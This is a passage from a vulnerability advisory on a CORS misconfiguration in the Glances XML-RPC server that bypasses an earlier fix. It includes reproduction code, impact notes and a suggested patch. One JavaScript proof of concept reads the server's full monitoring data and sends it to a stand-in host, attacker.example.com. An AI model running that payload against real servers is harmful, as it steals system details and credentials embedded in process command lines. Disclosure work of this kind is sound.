Step 3 — Demonstrate the code-level collapse to wildcard
import sys
sys.path.insert(0, '/path/to/glances') # adjust to local clone
from glances.config import Config
c = Config('/tmp/glances_multiorigin.conf')
cors_list = c.get_list_value('outputs', 'cors_origins', default=['*'])
# Reproduces server.py line 113:
result = cors_list[0] if len(cors_list) == 1 else '*'
print('cors_origins config :', cors_list)
print('cors_origin applied :', result)
print('Is wildcard? :', result == '*')
# cors_origins config : ['https://dashboard.corp.example.com', 'https://grafana.corp.example.com']
# cors_origin applied : *
# Is wildcard? : True
Browser-based exploitation
Once the wildcard is confirmed, the original CVE-2026-33533 attack vector still applies in full. A malicious page served to a victim whose browser can reach the Glances server can exfiltrate data as follows:
// Runs in a page on http://evil.example.com
const payload = `<?xml version="1.0"?>
<methodCall><methodName>getAll</methodName></methodCall>`;
fetch('http://GLANCES_HOST:61209/RPC2', {
method: 'POST',
headers: { 'Content-Type': 'text/plain' },
body: payload,
})
.then(r => r.text())
.then(data => {
// 'data' contains hostname, OS, full process list, network interfaces, etc.
fetch('https://attacker.example.com/collect?d=' + btoa(data));
});
This works as a CORS "simple request" (POST + text/plain) — no CORS preflight is triggered and the * wildcard allows the browser to read the response.
Impact
Vulnerability type: CORS Misconfiguration / Bypass of CVE-2026-33533 mitigation (CWE-942)
Who is impacted: Any operator who:
Runs Glances in XML-RPC server mode (glances -s), and
Has configured two or more cors_origins entries in glances.conf believing
they are restricting browser access.
Operators using the default single-wildcard configuration (cors_origins = *, which is the upstream default) remain affected by the original CVE-2026-33533 exposure (unrestricted cross-origin read). The incomplete fix addresses only the narrow case of a single non-wildcard origin.
Data exposed through the XML-RPC API includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, passwords, and tokens), CPU/memory/disk/network statistics, listening ports, and Docker/Kubernetes container metadata.
Impact:
Confidentiality: High — complete system monitoring data readable by any browser page.
Integrity: None — read-only API.
Availability: None — no denial-of-service component.
Suggested Fix
Implement per-request origin reflection against the configured allowlist, as recommended by the W3C CORS specification and as done by modern CORS middleware (e.g. Starlette's CORSMiddleware):
# server.py — replace the single static self.cors_origin field with:
def _get_acao_header(self, request_origin: str) -> str | None:
"""Return the correct Access-Control-Allow-Origin value or None."""
if not self.cors_origins or '*' in self.cors_origins:
return '*'
if request_origin in self.cors_origins:
return request_origin
return None # do not send the header for unlisted origins
# In do_POST / send_response:
origin = self.headers.get('Origin', '')
acao = self._get_acao_header(origin)
if acao:
self.send_header('Access-Control-Allow-Origin', acao)
self.send_header('Vary', 'Origin')
Additionally, consider retiring the legacy XML-RPC server in favour of the REST API (glances -w), which uses Starlette's CORSMiddleware correctly, and document the deprecation path.
Responsible Disclosure
The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.
Credits
This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.